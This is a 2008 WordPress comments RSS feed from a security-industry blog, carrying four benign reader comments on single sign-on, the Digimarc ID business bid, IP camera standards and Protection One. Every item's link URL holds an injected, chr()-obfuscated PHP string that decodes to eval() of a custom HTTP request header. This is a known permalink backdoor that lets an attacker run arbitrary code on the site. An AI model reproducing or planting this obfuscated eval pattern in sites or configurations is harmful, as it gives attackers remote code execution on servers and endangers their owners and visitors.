<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for TheSecurityAnalyst</title>
	<atom:link href="http://www.thesecurityanalyst.com/blog/comments/feed" rel="self" type="application/rss+xml" />
	<link>http://www.thesecurityanalyst.com/blog</link>
	<description>Everything Security</description>
	<lastBuildDate>Mon, 30 Jun 2008 12:58:30 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
	<item>
		<title>Comment on Has Single-Sign on Finally Hit &#8220;Prime Time&#8221; With Security Industry End Users? by acarmel</title>
		<link>http://www.thesecurityanalyst.com/blog/%tugalugatron$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()*%/comment-page-1#comment-30</link>
		<dc:creator>acarmel</dc:creator>
		<pubDate>Mon, 30 Jun 2008 12:58:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.thesecurityanalyst.com/blog/?p=21#comment-30</guid>
		<description>Hi! I&#039;m an editor for Seeking Alpha. Please contact me at your earliest convenience at acarmel@seekingalpha.com. Abby</description>
		<content:encoded><![CDATA[<p>Hi! I&#8217;m an editor for Seeking Alpha. Please contact me at your earliest convenience at <a href="mailto:acarmel@seekingalpha.com">acarmel@seekingalpha.com</a>. Abby</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on “REAL ID” Controlled by a Foreign Entity? Safran S.A. Bids Against L-1 for Digimarc’s ID Business by plaberee</title>
		<link>http://www.thesecurityanalyst.com/blog/%tugalugatron$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()*%/comment-page-1#comment-15</link>
		<dc:creator>plaberee</dc:creator>
		<pubDate>Mon, 23 Jun 2008 19:44:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.thesecurityanalyst.com/blog/?p=18#comment-15</guid>
		<description>Interesting story and well-presented. Note that this proposed deal might come under regulatory scrutiny in at least two ways, in addition to general export controls. If the technology and system controlled by Digimarc is considered “dual use” technology - - having both civilian and military uses (roughly speaking), then its export would be governed by the Export Administration Regulations (“EAR”) set out at 15 CFR 730-774.. (See generally 15 CFR Chapter VII, subpart C.)  Also, if (somehow) the Digimarc properties would be seen as infrastructure critical to national security, then the Committee on Foreign Investment in the United States (“CFIUS”) rules would apply. See The Foreign Investment and National Security Act of 2007 which became effective near the end of October.  The new law is intended to reform the statute and provides for expanded review by CFIUS. The statute provides for a broad review for any transaction involving &quot;critical infrastructure&quot; which includes any vital system or asset, physical or virtual, whose destruction or incapacity would have a debilitating impact on national security.

Peter Laberee</description>
		<content:encoded><![CDATA[<p>Interesting story and well-presented. Note that this proposed deal might come under regulatory scrutiny in at least two ways, in addition to general export controls. If the technology and system controlled by Digimarc is considered “dual use” technology &#8211; - having both civilian and military uses (roughly speaking), then its export would be governed by the Export Administration Regulations (“EAR”) set out at 15 CFR 730-774.. (See generally 15 CFR Chapter VII, subpart C.)  Also, if (somehow) the Digimarc properties would be seen as infrastructure critical to national security, then the Committee on Foreign Investment in the United States (“CFIUS”) rules would apply. See The Foreign Investment and National Security Act of 2007 which became effective near the end of October.  The new law is intended to reform the statute and provides for expanded review by CFIUS. The statute provides for a broad review for any transaction involving &#8220;critical infrastructure&#8221; which includes any vital system or asset, physical or virtual, whose destruction or incapacity would have a debilitating impact on national security.</p>
<p>Peter Laberee</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on VIDEO STANDARDS THAT MAY FINALLY MEAN SOMETHING by john_honovich</title>
		<link>http://www.thesecurityanalyst.com/blog/%tugalugatron$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()*%/comment-page-1#comment-3</link>
		<dc:creator>john_honovich</dc:creator>
		<pubDate>Thu, 15 May 2008 08:14:24 +0000</pubDate>
		<guid isPermaLink="false">http://www.thesecurityanalyst.com/blog/?p=5#comment-3</guid>
		<description>Hi Jeff,

Nice point about the difference of the source of these standards being from industry than from government.  I think one of the reasons the big IP camera players are supporting this is because further innovations in network interfaces will not provide meaningful economic benefits.  As such, no one is very motivated to diverge in the hope of gaining a competitive advantage.

Ironically, I think it&#039;s in the area of codecs where the market is more likely to suffer from interoperability problems and lack of conformance to standards.  Even though we &#039;have&#039; MPEG-4 and H.264, vendors break these standards all the time.  They are driven by dramatic cost savings that can be generated in reducing bandwidth and storage load by optimizing codecs for surveillance applications.  I wrote about this in more depth: http://ipvideomarket.info/review/show/10.

While I see standards coming to IP camera network interfaces fairly quickly, compliance with codec standards could be many years further away.

Thanks for the great analysis.  I look forward to learning from your posts.

Best,

John</description>
		<content:encoded><![CDATA[<p>Hi Jeff,</p>
<p>Nice point about the difference of the source of these standards being from industry than from government.  I think one of the reasons the big IP camera players are supporting this is because further innovations in network interfaces will not provide meaningful economic benefits.  As such, no one is very motivated to diverge in the hope of gaining a competitive advantage.</p>
<p>Ironically, I think it&#8217;s in the area of codecs where the market is more likely to suffer from interoperability problems and lack of conformance to standards.  Even though we &#8216;have&#8217; MPEG-4 and H.264, vendors break these standards all the time.  They are driven by dramatic cost savings that can be generated in reducing bandwidth and storage load by optimizing codecs for surveillance applications.  I wrote about this in more depth: <a href="http://ipvideomarket.info/review/show/10" rel="nofollow">http://ipvideomarket.info/review/show/10</a>.</p>
<p>While I see standards coming to IP camera network interfaces fairly quickly, compliance with codec standards could be many years further away.</p>
<p>Thanks for the great analysis.  I look forward to learning from your posts.</p>
<p>Best,</p>
<p>John</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on SOMEBODY NEEDED TO LOVE PROTECTION ONE!! by Michael Barnes</title>
		<link>http://www.thesecurityanalyst.com/blog/%tugalugatron$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()*%/comment-page-1#comment-2</link>
		<dc:creator>Michael Barnes</dc:creator>
		<pubDate>Wed, 14 May 2008 00:41:47 +0000</pubDate>
		<guid isPermaLink="false">http://www.thesecurityanalyst.com/blog/?p=6#comment-2</guid>
		<description>Jeff...good to see you back &quot;playing in traffic.&quot;  Agree 100% on P1.  Solid footing, great management, good market position.  Can&#039;t understand why the stock doesn&#039;t do better.</description>
		<content:encoded><![CDATA[<p>Jeff&#8230;good to see you back &#8220;playing in traffic.&#8221;  Agree 100% on P1.  Solid footing, great management, good market position.  Can&#8217;t understand why the stock doesn&#8217;t do better.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

